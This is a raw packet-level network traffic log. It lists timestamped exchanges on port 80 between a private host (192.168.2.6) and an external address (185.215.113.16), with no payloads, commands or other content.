Nov 1, 2024 00:38:23.752912045 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.752933979 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.752947092 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.752974987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.752986908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753002882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753015041 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753026962 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753031015 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753040075 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753047943 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753063917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753074884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753077030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753087997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753102064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753115892 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753129959 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753180981 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753236055 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753247023 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753283978 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753341913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753354073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753366947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753379107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753386974 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753397942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753401995 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753411055 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753423929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753434896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753437996 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753448963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753459930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753460884 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753473043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753488064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753488064 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753509998 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753520012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753531933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753544092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753559113 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753570080 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753595114 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753655910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753674030 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753686905 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753690958 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753700972 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753715038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753735065 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753751993 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753758907 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753766060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753776073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753810883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753813982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753825903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753887892 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753900051 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753911972 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753911972 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753926992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753937006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753948927 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.753951073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753964901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753977060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753988981 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.753989935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754015923 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754113913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754126072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754137993 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754149914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754153013 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754163027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754174948 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754206896 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754434109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754537106 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754549026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754559994 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754570961 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754582882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754582882 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754595995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754610062 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754632950 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754802942 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754808903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754821062 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754831076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754843950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754853010 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754856110 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754869938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754882097 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754883051 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754892111 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754894018 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754909992 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754919052 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754921913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754935026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.754949093 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.754981041 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755294085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755306005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755326033 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755337954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755348921 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755361080 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755367994 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755372047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755384922 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755394936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755399942 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755408049 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755419016 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755425930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755435944 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755451918 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755454063 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755462885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755472898 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755475044 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755486012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755501032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755511045 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755513906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755526066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755537033 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755538940 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755549908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755556107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755568027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755574942 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755578995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755593061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755599976 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755604029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755615950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755626917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755634069 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755636930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755641937 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.755650997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.755671024 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.760283947 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.787612915 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787658930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787678957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787689924 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787748098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787753105 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.787760973 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787774086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787795067 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.787796974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787817955 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.787916899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787929058 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787940025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787951946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787959099 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.787966013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787967920 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.787977934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.787991047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788002014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788012981 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788017988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.788024902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788037062 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788045883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.788048029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788054943 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.788065910 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.788067102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788079977 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788091898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788103104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788105965 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.788117886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.788130045 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.788153887 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.870749950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870831013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870856047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870868921 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870879889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870892048 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870903969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870912075 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.870917082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870930910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870944023 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870949984 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.870954037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.870970011 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.870991945 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871082067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871121883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871166945 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871179104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871190071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871207952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871211052 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871220112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871232986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871243000 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871253014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871263981 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871274948 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871274948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871289015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871296883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871300936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871330976 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871464968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871476889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871486902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871498108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871505022 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871520996 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871521950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871532917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871543884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871561050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871572971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871575117 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871584892 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871594906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871603012 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871612072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871624947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871635914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871642113 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871659994 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871665955 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871676922 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871706009 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871790886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871803999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871814966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871828079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871839046 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871850967 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871929884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871942043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871953964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871964931 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871967077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871980906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.871990919 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.871993065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872019053 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872076988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872116089 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872128010 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872148991 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872174025 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872184038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872195959 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872206926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872225046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872229099 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872239113 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872251987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872263908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872272015 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872293949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872386932 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872405052 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872422934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872433901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872445107 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872447014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872458935 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872469902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872473001 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872482061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872487068 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872497082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872509003 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872515917 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872519970 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872533083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872540951 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872560024 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872610092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872627020 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872639894 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872652054 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872663021 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872684002 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872688055 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872706890 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872719049 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872730017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872741938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872745991 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872764111 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872775078 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872818947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872829914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872842073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872853041 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872863054 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872864008 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872876883 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872890949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872912884 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.872929096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872941971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872951984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.872977018 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.873012066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.873023987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.873059988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.873313904 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.875638962 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875652075 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875669956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875680923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875691891 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875703096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875715017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875715971 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.875727892 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875735998 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.875741005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875752926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875754118 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.875783920 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:23.875806093 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:23.875818968 CET	80	49735	185.215.113.16	192.168.2.6
